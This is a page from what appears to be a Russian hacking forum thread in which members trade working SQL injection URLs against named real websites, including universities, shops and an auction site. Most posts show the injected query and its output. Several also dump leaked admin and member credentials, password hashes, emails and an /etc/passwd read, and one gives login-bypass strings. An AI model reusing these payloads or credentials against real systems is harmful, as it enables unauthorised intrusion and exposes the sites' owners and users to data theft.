SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 182 of 798
  1. Dark[<X>]D1ablo

    Dark[<X>]D1ablo New Member

    Joined:
    21 Oct 2007
    Messages:
    5
    Likes Received:
    3
    Reputations:
    0
    http://www.lyapis.com/articles.php?id=-138+union+select+1,2,DATABASE(),USER(),VERSION(),6,7,8,9/*

    То что таблицы не нашёл не судить, завтра попытаюсь отыскать.
     
    #3621 Dark[<X>]D1ablo, 10 Nov 2007
  2. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    news
    albums
    articles

    Code:
    http://www.lyapis.com/photo.php?cl=-1+union+select+1,2,3,4,5,6/*
http://www.lyapis.com/albums.php?id=-1+union+select+1,2,3,4,5,6/*
http://www.lyapis.com/anons.php?id=-1+union+select+1,2,3,4,5/*
    Админка с Basic'ом
    Code:
    http://www.lyapis.com/admin/
    :mad:

    P.S.: Теперь остался форум. И не исключено, что база называется lyapis_forum... :)
     
    #3622 FoxMALDER, 10 Nov 2007
    Last edited: 10 Nov 2007
  3. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.rabota-omsk.info/comment.php?ID=-1+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5+from+users/*
    5.0.22/jobsmarket_omsk/jobsmarket_job@localhost
     
    #3623 K1nD[e]R, 10 Nov 2007
  4. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    Code:
    http://www.vip-electronic.ru/index.php?productID=688+union+select+1,2,3,4/*
    vipelect_vp@localhost
     
    #3624 -MoLoToK-, 10 Nov 2007
  5. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    HTML:
    http://www.pronline.ru/gospriemka.php?letter=-8+UNION+SELECT+1,2,3,4,5,6,7+From+phpads_clients/*
    БД 4

    HTML:
    http://www.newmind.ru/index.php?cat_id=-40+union+select+1,2,3,4,5,6,7,8,9,10,11/*
    БД 5

    HTML:
    http://www.gallery-a.ru/expo/index.php?expo=HERZEN&room=expo&leaf=000035%20union%20select%201,name+FROM+users/*
    БД 4
     
    #3625 KEHT33, 10 Nov 2007
    1 person likes this.
  6. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    aker.com.ua - Научно-производственная компания "АКЕР"
    4.1.21-standard-logaker_akeraker_aker@localhost
    Code:
    http://aker.com.ua/index.php?pageid=-1+union+select+1,2,3,concat_ws(0x05,version(),database(),user()),5,6,7,8,9,10,11,12
http://aker.com.ua/a-news/news.php?id=-1+union+select+1,2,3,concat_ws(0x05,version(),database(),user()),5,6,7,8
    Таблицы:
    aimglib_files (id, nshows, groupid, date)
    aadm_menu
    anews_news
    picture_amount
     
    #3626 FoxMALDER, 10 Nov 2007
  7. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    arsenal.kharkov.ua - ФК "Арсенал"
    4.0.21-logarsenalarsenal@localhost
    Code:
    http://www.arsenal.kharkov.ua/archive.phtml?id_rubric=1&id_rubric2=-1+union+select+1,2,3,4,5,concat_ws(0x05,version(),database(),user()),7,8,9,10,11,12/*
    users (id, password, email, country, city)
    vote
    P.S.: Столбик пользователя не нашел... :(
     
    #3627 FoxMALDER, 10 Nov 2007
  8. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    www.ceethree.us

     
    #3628 Solide Snake, 10 Nov 2007
    2 people like this.
  9. Elvis000

    Elvis000 Патриот

    Joined:
    23 Apr 2007
    Messages:
    600
    Likes Received:
    339
    Reputations:
    148
    Журнал Системный Администратор av5.com

    Code:
    http://av5.com/?action=jns,read,choose_issue&journalid=1&choose_year=-1+union+select+1/*
    одна колонка, где выводится информация не нашел.
     
    #3629 Elvis000, 10 Nov 2007
    1 person likes this.
  10. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    ==========================================================================
    Tables:

    _cities
    accaunts
    61636361756e7473
    accaunts3
    61636361756e747333
    ===========================================================================
    patronymic_name
    password
    ===========================================================================
    shnyga:shnyga
    ===========================================================================
     
    #3630 b3, 10 Nov 2007
  11. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    http://www.oneway-uk.com/ Аукцион

    Code:
    http://www.oneway-uk.com/categorylist.php?cat=2996+uniOn+selEct+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7--
    4.1.15-Debian_1-log:eek:neway:root@oneway.oneway.co.nz

    Code:
    http://www.oneway-uk.com/categorylist.php?cat=2996+uniOn+selEct+concat(user,0x3a,password),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7+from+mysql.user+limit+0,1--
    root:74e47d975f1a9f72:stiltskin
    debian-sys-maint:0c1b789c7af5d9ca

    http://www.oneway-uk.com/categorylist.php?cat=2996+uniOn+selEct+concat(password,0x3a,email),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7+from+member+limit+1,1--
    ...
    dvtamde7:[email protected]
    ....

    Code:
    http://www.oneway-uk.com/categorylist.php?cat=2996+uniOn+selEct+load_file(0x2f6574632f706173737764),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7--
    интересные файлы для инклуида и изучения
    /var/www/protected/includes/memberarchive.inc
    /var/www/protected/includes/auction.inc
    /var/www/protected/includes/ledger.inc
    /var/www/protected/includes/profile.inc
    /var/www/protected/includes/store.inc
    /var/www/protected/includes/alert.inc
    /var/www/protected/includes/team.inc
    /var/www/protected/includes/stats.inc
     
    #3631 big_BRAT, 10 Nov 2007
    2 people like this.
  12. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    HTML:
    http://edu.ascon.ru/order.php?id=-34+UNION+SELECT+1,2,concat(username,0x2c,userpass),4,5+FROM+poll_user/*
    БД 5
    admin:81dc9bdb52d04dc20036dbd8313ed055:1234
     
    #3632 KEHT33, 10 Nov 2007
  13. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.purecoolness.com
    Помогите разобраться, вот ссылка на SQL инъекцию
    http://www.purecoolness.com/search.php?action=results&sid=3881&sortby=1'&order=
    http://www.purecoolness.com/forumdisplay.php?sortby=1&order=1&datecut=1'
    http://www.purecoolness.com/search.php?action=1'&uid=94
    http://www.purecoolness.com/member.php?action=1'
    http://www.purecoolness.com/editpost.php?pid=1'

    Вообщем там такого мнооооого =)
    Только я не знаю что с этим делать =(
    Объясните что делать дальше, можете даже снять видео про взлом этого сайта =)
     
    #3633 Mike 007, 10 Nov 2007
  14. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    Интернет-маркетинг и раскрутка сайтов
    HTML:
    http://www.vanta.ru/script/catalog.php?cat=-44+UNION+SELECT+1,2,3,4,5,6,7,8,9,10/*
    БД 4
    Если кто найдёт таблицы....отпишитесь
     
    #3634 KEHT33, 10 Nov 2007
  15. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    brahms.ro
    Code:
    http://www.brahms.ro/produse/detalii.php?cat=15&sub=72&produs=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,aes_decrypt(aes_encrypt(version(),0x71),0x71),aes_decrypt(aes_encrypt(database(),0x71),0x71),aes_decrypt(aes_encrypt(user(),0x71),0x71)),11,12,13/*
    4.1.12:b2:root@localhost
    А дальше нужна подсказка...
    Почему-то можно посмотреть user из mysql.user:
    Code:
    http://www.brahms.ro/produse/detalii.php?cat=15&sub=72&produs=-1+union+select+1,2,3,4,5,6,7,8,9,aes_decrypt(aes_encrypt(user,0x71),0x71),11,12,13+from+mysql.user+limit+1,1/*
    но ничего не отображается в поле password:
    Code:
    http://www.brahms.ro/produse/detalii.php?cat=15&sub=72&produs=-1+union+select+1,2,3,4,5,6,7,8,9,aes_decrypt(aes_encrypt(password,0x71),0x71),11,12,13+from+mysql.user+limit+1,1/*
    неужели нет пароля на рута..?!
     
    #3635 fRg, 10 Nov 2007
    1 person likes this.
  16. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    quickgifts.com
    version: Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
    db_name: dbLogins
    user: qglogin
    В поле email:
    Code:
    1' or 1=(SELECT TOP 1 password FROM tblusers)--
    email: [email protected]
    password: ZHNoaWZsZXk=
    Или так:
    email: ' or 1=1--
    password: любой


    whalesdirect.com
    Code:
    http://www.whalesdirect.com/product.html?t_q=FT305'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(char(58),email,password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+users+--+
    4.1.20:crt@localhost:whalesdirect_com

    email:[email protected]
    password:h0bbes
    Куда вводить не нашел
     
    #3636 l-l00K, 10 Nov 2007
    2 people like this.
  17. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    mdgu.com.ua - Мариупольский Государственный Гуманитарный Университет
    5.0.27-standard-logmdgu2006_mdgumdgu2006_mdgu@localhost
    Code:
    http://www.mdgu.com.ua/ua/news.php?news=-1+union+select+1,2,3,4,concat_ws(0x05,version(),database(),user()),6,7,8,9/*
    То что нашел... :)
    news
    photogallery
    rectorat
    faculty
    specialty
    profkom
    professors
    administration
    links_univer
    links
    elpublic
    lang
    Таблицу пользователей не нашел, а админка тут.
     
    #3637 FoxMALDER, 10 Nov 2007
  18. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://zvezda.ru/file.php?id=-166+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,version(),database(),user()),11/*
    4.1.20/zvezdaDB/webuzer@localhost
     
    #3638 K1nD[e]R, 10 Nov 2007
  19. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Code:
    http://k-parts.ru/index.php?actions=yes&id=-8+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4/*
    4.0.18-log:elitron9_test:elitron9_elitron@localhost
    Code:
    http://www.webtel.ru/spec.php?table=phones&id=-745'+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(user(),0x3a,database(),0x3a,version()),13,14,15,16,17/*
    webtel@localhost:webtel:4.1.18

    Code:
    http://www.mtas.ru/second.php?ID=-29+union+select+aes_decrypt(aes_encrypt(concat_ws(0x3a,user(),database(),version()),0x3a),0x3a)/*
    mtas116_site@localhost:mtas116_site:4.1.15-nt
     
    #3639 v1ru$, 10 Nov 2007
    Last edited: 10 Nov 2007
  20. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    donntu.edu.ua - Донецкий национальный технический университет
    4.0.24-logCounter[email protected]
    Code:
    http://donntu.edu.ua/russian/intas/statistics/statistic.php?id=-1)+union+select+1,concat_ws(0x05,version(),database(),user()),3/*
     
    #3640 FoxMALDER, 10 Nov 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 182 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.